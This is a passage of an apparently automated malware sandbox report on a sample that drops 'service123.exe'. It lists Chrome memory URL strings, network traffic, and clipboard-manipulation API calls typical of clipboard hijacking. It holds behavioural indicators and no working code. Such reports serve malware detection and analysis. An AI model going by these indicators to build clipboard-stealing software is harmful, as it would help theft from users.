Source: chrome.exe, 00000004.00000003.2087425223.000073F000684000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/
Source: chrome.exe, 00000004.00000002.2120758382.000073F00080C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2087038233.000073F000390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2087213042.000073F00039C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/2J
Source: chrome.exe, 00000004.00000003.2087425223.000073F000684000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/hj
Source: chrome.exe, 00000004.00000002.2120635091.000073F00078C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2087425223.000073F000684000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-query.fastly-edge.com/
Source: chrome.exe, 00000004.00000002.2120758382.000073F00080C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2087038233.000073F000390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2087213042.000073F00039C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-query.fastly-edge.com/2P
Source: chrome.exe, 00000004.00000003.2087425223.000073F000684000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-query.fastly-edge.com/https://chromekanonymityquery-pa.googleapis.com/Ena
Source: chrome.exe, 00000004.00000003.2087425223.000073F000684000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-query.fastly-edge.com/https://chromekanonymityquery-pa.googleapis.com/htt
Source: chrome.exe, 00000004.00000002.2120823445.00007BE00000C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2121586736.00007BE0001C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google.com/
Source: chrome.exe, 00000004.00000002.2121586736.00007BE0001C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google.com/googleapis.com
Source: chrome.exe, 00000004.00000002.2122852674.00007BE00060C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://googleusercontent.com/
Source: file.exe, 00000000.00000003.1682155579.0000000007C8E000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://httpbin.org/ip
Source: file.exe, 00000000.00000003.1682155579.0000000007C8E000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://httpbin.org/ipbefore
Source: chrome.exe, 00000004.00000003.2102295905.00007BE000380000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/161903006
Source: chrome.exe, 00000004.00000003.2102295905.00007BE000380000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/166809097
Source: chrome.exe, 00000004.00000003.2102295905.00007BE000380000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/184850002
Source: chrome.exe, 00000004.00000003.2102295905.00007BE000380000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/187425444
Source: chrome.exe, 00000004.00000003.2102295905.00007BE000380000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/220069903
Source: chrome.exe, 00000004.00000003.2102295905.00007BE000380000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/229267970
Source: chrome.exe, 00000004.00000003.2102295905.00007BE000380000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/250706693
Source: chrome.exe, 00000004.00000003.2102295905.00007BE000380000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/253522366
Source: chrome.exe, 00000004.00000003.2102295905.00007BE000380000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/255411748
Source: chrome.exe, 00000004.00000003.2102295905.00007BE000380000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/258207403
Source: chrome.exe, 00000004.00000003.2102295905.00007BE000380000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/274859104
Source: chrome.exe, 00000004.00000003.2102295905.00007BE000380000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/284462263
Source: chrome.exe, 00000004.00000003.2102295905.00007BE000380000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/issues/166475273
Source: chrome.exe, 00000004.00000002.2123824964.00007BE00080C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2122447040.00007BE0004BC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2123696307.00007BE0007CC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://keep.google.com/u/0/?usp=chrome_actions#NEWNOTE
Source: chrome.exe, 00000004.00000002.2123824964.00007BE00080C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2122447040.00007BE0004BC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2123696307.00007BE0007CC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://keep.google.com/u/0/?usp=chrome_actions#NEWNOTEkly
Source: chrome.exe, 00000004.00000003.2087213042.000073F00039C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search/experiment/2
Source: chrome.exe, 00000004.00000002.2119846843.000073F000238000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2124994437.00007BE000A4C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2120583651.000073F000770000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search/experiment/2/springboard
Source: chrome.exe, 00000004.00000002.2120758382.000073F00080C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2087038233.000073F000390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2087213042.000073F00039C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search/experiment/2/springboard2
Source: chrome.exe, 00000004.00000002.2120758382.000073F00080C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2087038233.000073F000390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2087213042.000073F00039C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search/experiment/2/springboardb
Source: chrome.exe, 00000004.00000002.2120583651.000073F000770000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search/experiment/2/springboardhttps://labs.google.com/search/experiments
Source: chrome.exe, 00000004.00000002.2119846843.000073F000238000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2120583651.000073F000770000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search/experiment/2/springboards
Source: chrome.exe, 00000004.00000003.2087213042.000073F00039C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search/experiments
Source: chrome.exe, 00000004.00000002.2120758382.000073F00080C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2087038233.000073F000390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2087213042.000073F00039C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lens.google.com/v3/2
Source: chrome.exe, 00000004.00000003.2087616941.000073F0006E4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lens.google.com/v3/upload
Source: chrome.exe, 00000004.00000003.2087213042.000073F00039C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lens.google.com/v3/upload2
Source: chrome.exe, 00000004.00000002.2120635091.000073F00078C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lens.google.com/v3/uploadSidePanelCompanionDesktopM116Plus
Source: chrome.exe, 00000004.00000002.2120635091.000073F00078C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lens.google.com/v3/uploadSidePanelCompanionDesktopM116PlusEnabled_UnPinned_NewTab_20230918
Source: chrome.exe, 00000004.00000002.2120550850.000073F000744000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lens.google.com/v3/uploadcompanion-iph-blocklisted-page-urlsexps-registration-success-page-u
Source: chrome.exe, 00000004.00000002.2122001648.00007BE000330000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=ee272b19-4411-433f-8f28-5c1
Source: chrome.exe, 00000004.00000002.2121645127.00007BE00020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://m.google.com/devicemanagement/data/api
Source: chrome.exe, 00000004.00000002.2121234111.00007BE0000E0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2122149780.00007BE0003A4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2092377647.00007BE00062C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2123134803.00007BE0006D5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/:
Source: chrome.exe, 00000004.00000002.2121234111.00007BE0000E0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2122149780.00007BE0003A4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2092377647.00007BE00062C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2123134803.00007BE0006D5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/?usp=installed_webapp
Source: chrome.exe, 00000004.00000002.2121234111.00007BE0000E0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2122149780.00007BE0003A4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2092377647.00007BE00062C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2123134803.00007BE0006D5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/J
Source: chrome.exe, 00000004.00000002.2121234111.00007BE0000E0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2122149780.00007BE0003A4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2092377647.00007BE00062C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2123134803.00007BE0006D5000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2122127208.00007BE000394000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/installwebapp?usp=chrome_default
Source: chrome.exe, 00000004.00000002.2122522114.00007BE0004F0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2123354438.00007BE000748000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myaccount.google.com/?utm_source=ga-chrome-actions&utm_medium=manageGA
Source: chrome.exe, 00000004.00000002.2122417775.00007BE00049C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2123354438.00007BE000748000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2124576124.00007BE00093C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myaccount.google.com/data-and-privacy?utm_source=ga-chrome-actions&utm_medium=managePrivacy
Source: chrome.exe, 00000004.00000002.2124576124.00007BE00093C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myaccount.google.com/data-and-privacy?utm_source=ga-chrome-actions&utm_medium=managePrivacyM
Source: chrome.exe, 00000004.00000002.2122417775.00007BE00049C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2123354438.00007BE000748000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2124576124.00007BE00093C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myaccount.google.com/find-your-phone?utm_source=ga-chrome-actions&utm_medium=findYourPhone
Source: chrome.exe, 00000004.00000002.2122417775.00007BE00049C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2123354438.00007BE000748000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2124576124.00007BE00093C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myaccount.google.com/signinoptions/password?utm_source=ga-chrome-actions&utm_medium=changePW
Source: chrome.exe, 00000004.00000002.2124737119.00007BE0009A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myactivity.google.com/
Source: chrome.exe, 00000004.00000002.2121586736.00007BE0001C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://oauthaccountmanager.googleapis.com/
Source: chrome.exe, 00000004.00000002.2121645127.00007BE00020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://oauthaccountmanager.googleapis.com/v1/issuetoken
Source: chrome.exe, 00000004.00000002.2125170673.00007BE000AE0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2126562368.00007BE000E25000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2126587425.00007BE000E30000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1673999601&target=OPTIMIZATION_TARGET_PAG
Source: chrome.exe, 00000004.00000003.2109217456.00007BE000A28000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2126562368.00007BE000E25000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2126444329.00007BE000DE4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2126614297.00007BE000E3C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2126587425.00007BE000E30000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1678906374&target=OPTIMIZATION_TARGET_OMN
Source: chrome.exe, 00000004.00000002.2125170673.00007BE000AE0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2126562368.00007BE000E25000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2126587425.00007BE000E30000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1679317318&target=OPTIMIZATION_TARGET_LAN
Source: chrome.exe, 00000004.00000003.2109217456.00007BE000A28000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2121837872.00007BE0002D0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2126562368.00007BE000E25000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2126614297.00007BE000E3C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2126587425.00007BE000E30000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1695049402&target=OPTIMIZATION_TARGET_GEO
Source: chrome.exe, 00000004.00000002.2121837872.00007BE0002D0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2126562368.00007BE000E25000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2126587425.00007BE000E30000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1695049414&target=OPTIMIZATION_TARGET_NOT
Source: chrome.exe, 00000004.00000003.2109217456.00007BE000A28000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2126562368.00007BE000E25000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2126587425.00007BE000E30000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1695051229&target=OPTIMIZATION_TARGET_PAG
Source: chrome.exe, 00000004.00000003.2109217456.00007BE000A28000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2126562368.00007BE000E25000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2126444329.00007BE000DE4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2126614297.00007BE000E3C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=210230727&target=OPTIMIZATION_TARGET_CLIE
Source: chrome.exe, 00000004.00000002.2125170673.00007BE000AE0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2109217456.00007BE000A28000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2126562368.00007BE000E25000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2126587425.00007BE000E30000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=4&target=OPTIMIZATION_TARGET_PAGE_TOPICS_
Source: chrome.exe, 00000004.00000002.2122447040.00007BE0004BC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/v1:GetHints
Source: chrome.exe, 00000004.00000002.2124737119.00007BE0009A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://photos.google.com/settings?referrer=CHROME_NTP
Source: chrome.exe, 00000004.00000002.2124737119.00007BE0009A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://policies.google.com/
Source: chrome.exe, 00000004.00000002.2121045675.00007BE00008C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://safebrowsing.google.com/safebrowsing/clientreport/chrome-sct-auditing
Source: chrome.exe, 00000004.00000002.2121179136.00007BE0000A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://sctauditing-pa.googleapis.com/v1/knownscts/length/$1/prefix/$2?key=AIzaSyBOti4mM-6x9WDnZIjIe
Source: chrome.exe, 00000004.00000002.2121586736.00007BE0001C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://securitydomain-pa.googleapis.com/v1/
Source: chrome.exe, 00000004.00000002.2123824964.00007BE00080C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2122447040.00007BE0004BC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2123696307.00007BE0007CC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://sites.google.com/u/0/create?usp=chrome_actions
Source: chrome.exe, 00000004.00000002.2123824964.00007BE00080C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2122447040.00007BE0004BC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2123696307.00007BE0007CC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://sites.google.com/u/0/create?usp=chrome_actionsactions
Source: chrome.exe, 00000004.00000002.2124914704.00007BE000A1C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://t0.gstatic.com/faviconV2
Source: chrome.exe, 00000004.00000002.2121586736.00007BE0001C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://tasks.googleapis.com/
Source: chrome.exe, 00000004.00000002.2125491332.00007BE000BB8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: chrome.exe, 00000004.00000002.2125640887.00007BE000C14000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2109499785.00007BE000C14000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/search?q=
Source: chrome.exe, 00000004.00000002.2125640887.00007BE000C14000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2109499785.00007BE000C14000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/search?q=&addon=opensearch
Source: chrome.exe, 00000004.00000002.2125640887.00007BE000C14000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2109499785.00007BE000C14000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/search?q=&addon=opensearchn=opensearch
Source: chrome.exe, 00000004.00000002.2123259347.00007BE000710000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2122323273.00007BE000428000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com
Source: chrome.exe, 00000004.00000002.2125989303.00007BE000CE8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/
Source: chrome.exe, 00000004.00000002.2123857084.00007BE00081C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/Char
Source: chrome.exe, 00000004.00000002.2124612675.00007BE00095C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2121586736.00007BE0001C4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2124025388.00007BE00086C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/chrome/tips/
Source: chrome.exe, 00000004.00000002.2124612675.00007BE00095C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2121586736.00007BE0001C4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2124025388.00007BE00086C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/chrome/tips/gs
Source: chrome.exe, 00000004.00000002.2126661305.00007BE000E48000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=
Source: chrome.exe, 00000004.00000002.2125726223.00007BE000C48000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2122745677.00007BE0005B8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2122522114.00007BE0004F0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2123354438.00007BE000748000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: chrome.exe, 00000004.00000002.2125726223.00007BE000C48000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.icoames)
Source: chrome.exe, 00000004.00000002.2123354438.00007BE000748000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.icoenterInsights
Source: chrome.exe, 00000004.00000002.2121750203.00007BE0002A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/speech-api/v2/synthesize?
Source: chrome.exe, 00000004.00000002.2122447040.00007BE0004BC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/tools/feedback/chrome/__submit
Source: chrome.exe, 00000004.00000002.2125054783.00007BE000A80000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/undo
Source: chrome.exe, 00000004.00000002.2120847880.00007BE00001C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/
Source: chrome.exe, 00000004.00000002.2121645127.00007BE00020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/oauth2/v1/userinfo
Source: chrome.exe, 00000004.00000002.2121645127.00007BE00020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/oauth2/v2/tokeninfo
Source: chrome.exe, 00000004.00000002.2121645127.00007BE00020C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2122745677.00007BE0005B8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/oauth2/v4/token
Source: chrome.exe, 00000004.00000002.2125726223.00007BE000C48000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2121645127.00007BE00020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/reauth/v1beta/users/
Source: chrome.exe, 00000004.00000002.2122447040.00007BE0004BC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/chrome/intelligence/assist/ranker/models/translate/2017/03/translate_ranker_
Source: chrome.exe, 00000004.00000002.2122149780.00007BE0003A4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2092377647.00007BE00062C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2123134803.00007BE0006D5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/:
Source: chrome.exe, 00000004.00000002.2122149780.00007BE0003A4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2092377647.00007BE00062C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2123134803.00007BE0006D5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/?feature=ytca
Source: chrome.exe, 00000004.00000002.2122149780.00007BE0003A4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2092377647.00007BE00062C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2123134803.00007BE0006D5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/J
Source: chrome.exe, 00000004.00000002.2122149780.00007BE0003A4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2092377647.00007BE00062C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2121837872.00007BE0002D0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2123134803.00007BE0006D5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/s/notifications/manifest/cr_install.html

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749

Source: C:\Users\user\AppData\Local\Temp\service123.exe

Code function: 8_2_6C189C22 Sleep,GetClipboardSequenceNumber,OpenClipboard,GlobalAlloc,GlobalLock,strcpy,GlobalUnlock,EmptyClipboard,SetClipboardData,CloseClipboard,

8_2_6C189C22

Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 8_2_6C189C22 Sleep,GetClipboardSequenceNumber,OpenClipboard,GlobalAlloc,GlobalLock,strcpy,GlobalUnlock,EmptyClipboard,SetClipboardData,CloseClipboard,		8_2_6C189C22
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 8_2_6C189D11 OpenClipboard,GlobalAlloc,GlobalLock,strcpy,GlobalUnlock,EmptyClipboard,SetClipboardData,CloseClipboard,		8_2_6C189D11

Source: C:\Users\user\AppData\Local\Temp\service123.exe

Code function: 8_2_6C189E27 GetClipboardData,GlobalLock,GlobalUnlock,CloseClipboard,

8_2_6C189E27

System Summary

Drops large PE files

Source: C:\Users\user\Desktop\file.exe

File dump: service123.exe.0.dr 314617856

Jump to dropped file

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:

Source: C:\Users\user\Desktop\file.exe

Process Stats: CPU usage > 49%

Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 8_2_000551B0	8_2_000551B0
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 8_2_00053E20	8_2_00053E20
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 8_2_6C1B2CCE	8_2_6C1B2CCE
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 8_2_6C17CD00	8_2_6C17CD00
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 8_2_6C17EE50	8_2_6C17EE50
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 8_2_6C180FC0	8_2_6C180FC0
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 8_2_6C1C0AC0	8_2_6C1C0AC0
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 8_2_6C1844F0	8_2_6C1844F0
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 8_2_6C1B46E0	8_2_6C1B46E0
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 8_2_6C1B07D0	8_2_6C1B07D0
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 8_2_6C1A87C0	8_2_6C1A87C0
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 8_2_6C1C0060	8_2_6C1C0060
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 8_2_6C1B2090	8_2_6C1B2090
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 8_2_6C1A2360	8_2_6C1A2360
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 8_2_6C1CDC70	8_2_6C1CDC70
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 8_2_6C185880	8_2_6C185880
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 8_2_6C1A98F0	8_2_6C1A98F0
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 8_2_6C1B7A20	8_2_6C1B7A20
